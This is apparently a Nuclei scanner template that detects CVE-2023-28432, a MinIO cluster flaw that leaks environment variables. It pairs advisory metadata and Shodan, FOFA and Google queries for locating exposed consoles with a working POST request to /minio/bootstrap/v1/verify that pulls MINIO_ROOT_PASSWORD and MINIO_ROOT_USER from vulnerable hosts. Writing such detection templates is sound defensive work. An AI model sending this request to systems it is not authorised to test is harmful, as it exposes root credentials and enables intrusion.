MinIO Cluster Deployment - Information Disclosure

id: CVE-2023-28432

info:
  name: MinIO Cluster Deployment - Information Disclosure
  author: Mr-xn
  severity: high
  description: |
    MinIO is susceptible to information disclosure. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials. All users of distributed deployment are impacted.
  impact: |
    An attacker can gain unauthorized access to sensitive information stored in the MinIO cluster.
  remediation: All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z.
  reference:
    - https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
    - https://github.com/minio/minio/pull/16853/files
    - https://github.com/golang/vulndb/issues/1667
    - https://github.com/CVEProject/cvelist/blob/master/2023/28xxx/CVE-2023-28432.json
    - https://nvd.nist.gov/vuln/detail/CVE-2023-28432
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-28432
    cwe-id: CWE-200,NVD-CWE-noinfo
    epss-score: 0.83957
    epss-percentile: 0.9966
    cpe: cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: minio
    product: minio
    shodan-query:
      - title:"Minio Console"
      - http.title:"minio browser"
      - cpe:"cpe:2.3:a:minio:minio"
      - http.title:"minio console"
    fofa-query:
      - app="Minio"
      - app="minio"
      - title="minio browser"
      - title="minio console"
    google-query:
      - intitle:"minio browser"
      - intitle:"minio console"
  tags: cve,cve2023,minio,console,exposure,kev,vkev,vuln

http:
  - raw:
      - |+
        POST /minio/bootstrap/v1/verify HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"MINIO_ROOT_PASSWORD":'
          - '"MINIO_ROOT_USER":'
          - '"MinioEnv":'
        condition: or

      - type: word
        part: header
        words:
          - 'text/plain'

      - type: status
        status:
          - 200
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